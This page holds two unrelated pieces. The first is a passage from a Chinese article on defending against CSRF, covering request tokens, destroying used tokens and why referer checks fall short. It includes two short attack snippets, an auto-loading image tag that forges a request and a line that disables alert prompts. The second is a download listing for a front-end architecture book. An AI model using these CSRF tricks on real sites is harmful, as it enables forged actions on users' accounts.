在 ajax 技術應用較多的場合,因為很有請求是 JavaScript 發起的,使用靜態的模版輸出令牌值或多或少有些不方便。但無論如何,請不要提供直接獲取令牌值的 API。這么做無疑是鎖上了大門,卻又把鑰匙放在門口,讓我們的請求令牌退化為同步令牌。
第一點說了請求令牌理論上是可破解的,所以非常重要的場合,應該考慮使用驗證碼(令牌的一種升級,目前來看破解難度極大),或者要求用戶再次輸入密碼(亞馬遜、淘寶的做法)。但這兩種方式用戶體驗都不好,所以需要產品開發者權衡。
無論是普通的請求令牌還是驗證碼,伺服器端驗證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學校的選課系統就有這個 問題,驗證碼用完並未銷毀,故只要獲取一次驗證碼圖片,其中的驗證碼可以在多次請求中使用(只要不再次刷新驗證碼圖片),一直用到 Session 超時。這也是為何選課系統加了驗證碼,外掛軟體升級一次之後仍然暢通無阻。
如下也列出一些據說能有效防範 CSRF,其實效果甚微的方式甚至無效的做法。
通過 referer 判定來源頁面:referer 是在 HTTP Request Head 裡面的,也就是由請求的發送者決定的。如果我喜歡,可以給 referer 任何值。當然這個做法並不是毫無作用,起碼可以防小白。但我覺得性價比不如令牌。
過濾所有用戶發布的鏈接:這個是最無效的做法,因為首先攻擊者不一定要從站內發起請求(上面提到過了),而且就算從站內發起請求,途徑也遠遠不知鏈接一條。比如 <img src="./create_post.php" /> 就是個不錯的選擇,還不需要用戶去點擊,只要用戶的瀏覽器會自動載入圖片,就會自動發起請求。 *在請求發起頁面用 alert 彈窗提醒用戶:這個方法看上去能幹擾站外通過 iframe 發起的 CSRF,但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞,或者乾脆脫離 iframe,使用 Flash 來達到目的。
總體來說,目前防禦 CSRF 的諸多方法還沒幾個能徹底無解的。所以 CSDN 上看到討論 CSRF 的文章,一般都會含有「無恥」二字來形容(另一位有該名號的貌似是 DDOS 攻擊)。作為開發者,我們能做的就是盡量提高破解難度。當破解難度達到一定程度,網站就逼近於絕對安全的位置了(雖然不能到達)。上述請求令牌方法,就我 認為是最有可擴展性的,因為其原理和 CSRF 原理是相剋的。CSRF 難以防禦之處就在於對伺服器端來說,偽造的請求和正常的請求本質上是一致的。而請求令牌的方法,則是揪出這種請求上的唯一區別——來源頁面不同。我們還可 以做進一步的工作,例如讓頁面中 token 的 key 動態化,進一步提高攻擊者的門檻。本文只是我個人認識的一個總結,便不討論過深了。
Ⅸ 《前端架構設計讓前端開發可持續優化、可擴展》pdf下載在線閱讀,求百度網盤雲資源
《前端架構設計》([美] Micah Godbolt)電子書網盤下載免費在線閱讀
資源鏈接:
鏈接:
書名:前端架構設計
作者:[美] Micah Godbolt
譯者:潘泰燊
豆瓣評分:5.8
出版社:人民郵電出版社
出版年份:2017-4
頁數:164
內容簡介:
本書展示了一名成熟的前端架構師對前端開發全面而深刻的理解。作者結合自己在Red Hat公司的項目實戰經歷,探討了前端架構原則和前端架構的核心內容,包括工作流程、測試流程和文檔記錄,以及作為前端架構師所要承擔的具體開發工作,包括HTML、JavaScript和CSS等。
作者簡介:
Micah Godbolt
前端架構師,作家,播客播主,世界級開源大會的培訓師和演講師。他在個人博客(https://micahgodbolt.com)中經常大力推廣前端架構、Sass、視覺還原測試和基於模式的設計方法。他出生於太平洋西北地區,目前和妻子以及 兩個孩子定居於波特蘭的郊區。
譯者簡介:
潘泰燊
畢業於廣東外語外貿大學,曾就職於騰訊、網路等互聯網公司,參與過騰訊QQ空間、網路地圖等海量數據業務的Web開發工作,現就職於富途網路。
張鵬
碩士畢業於中山大學,曾就職於網路、騰訊等知名互聯網公司,參與過基於LNMP架構的億級別互聯網應用的設計與實現,目前從事NodeJS與前端開發。
許金泉
畢業於深圳大學,畢業後加入網路FEX,曾主導UEditor、網路國際化瀏覽器等前端開發工作,現就職於騰訊雲。
審校簡介:
李弦
華為2012實驗室UCD交互設計師,Monash University交互設計碩士,前新東方英語教師,廣東外語外貿大學英語專業八級。